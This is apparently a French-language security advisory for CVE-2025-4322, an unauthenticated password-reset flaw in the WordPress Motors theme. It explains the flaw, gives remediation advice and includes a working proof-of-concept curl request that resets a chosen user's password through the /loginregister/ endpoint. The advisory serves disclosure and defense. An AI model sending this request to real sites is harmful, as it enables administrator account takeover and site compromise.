🔐 CVE-2025-4322 – Motors <= 5.6.67 - Élévation de privilèges non authentifiée via mise à jour de mot de passe/prise de contrôle de compte
- Plugin: Motors <= 5.6.67 - Élévation de privilèges non authentifiée via mise à jour de mot de passe/prise de contrôle de compte
- Version vulnérable: <= 5.6.67
- CVE: CVE-2025-4322
- Gravité: 9.8 (Critique)
- ID CWE: CWE-620
- Nom CWE: Changement de mot de passe non vérifié
- Corrigé: ✅ Oui
- Priorité du correctif: 🔴 Critique
- Date de publication: 19 mai 2025
- Chercheur: https://www.wordfence.com/threat-intel/vulnerabilities/researchers/friderika-baranyai
⚠️ Résumé de la vulnérabilité
Le thème WordPress Motors (jusqu'à la version 5.6.67 incluse) contient un défaut d'authentification critique dans sa fonctionnalité de réinitialisation de mot de passe.
Il fournit un mécanisme de mise à jour de mot de passe côté front-end via des points de terminaison, mais ne parvient pas à valider correctement l'identité ou l'autorisation de l'utilisateur avant de traiter les modifications de mot de passe.
En conséquence, des attaquants non authentifiés peuvent envoyer des requêtes HTTP spécialement conçues qui fournissent un user_id, un hash_check arbitraire et un nouveau mot de passe (stm_new_password) pour réinitialiser le mot de passe de n'importe quel utilisateur – y compris les administrateurs.
En cas d'exploitation, cela permet aux attaquants de :
- Obtenir un accès administratif,
- Prendre le contrôle de l'ensemble du site,
- Installer des portes dérobées persistantes ou des plugins malveillants.
Cette faille est particulièrement dangereuse car elle ne nécessite aucune connexion et ne laisse souvent aucune trace évidente, sauf si les journaux sont surveillés.
🧪 Preuve de concept (PoC)
📥 Requête (ex. via curl) :
curl "https://local.ization/loginregister/?user_id=2&hash_check=%C0" --data "stm_new_password=randomizer" -XPOST -v -H 'User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Mobile Safari/537.36'
🛠️ Où se trouve le défaut ?
- Le thème Motors expose un gestionnaire de réinitialisation de mot de passe côté front-end via des points de terminaison comme /login, /register, /loginregister, etc.
- Ce gestionnaire accepte user_id, hash_check et stm_new_password via des requêtes HTTP POST non authentifiées.
- Le thème ne vérifie pas l'identité ou l'authenticité du demandeur.
- Tant qu'un attaquant fournit un hash_check valide ou contournable, le système traite les changements de mot de passe aveuglément.
- Il n'y a pas d'authentification, de validation de nonce ou de vérification de propriété avant la mise à jour des identifiants utilisateur.
🔐 Recommandation
- Désactivez ou restreignez l'accès aux points de terminaison front-end /loginregister/ ou similaires s'ils ne sont pas utilisés.
- Mettez en œuvre une validation stricte de l'identité avant de traiter les demandes de réinitialisation de mot de passe (par exemple, vérification de l'utilisateur connecté, validation sécurisée du jeton).
- Évitez de vous fier aux user_id ou hash_check fournis par le client sans vérification côté serveur.
- Appliquez les mises à jour vers la dernière version du thème Motors, ou utilisez le correctif virtuel (ex. via WAF) pour bloquer les requêtes POST non autorisées.
- Auditez régulièrement les points de terminaison publics pour détecter tout comportement inattendu ou non documenté.
⚠️ Avertissement
Ce rapport est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
L'exploitation de cette vulnérabilité sans autorisation peut violer des limites légales et éthiques.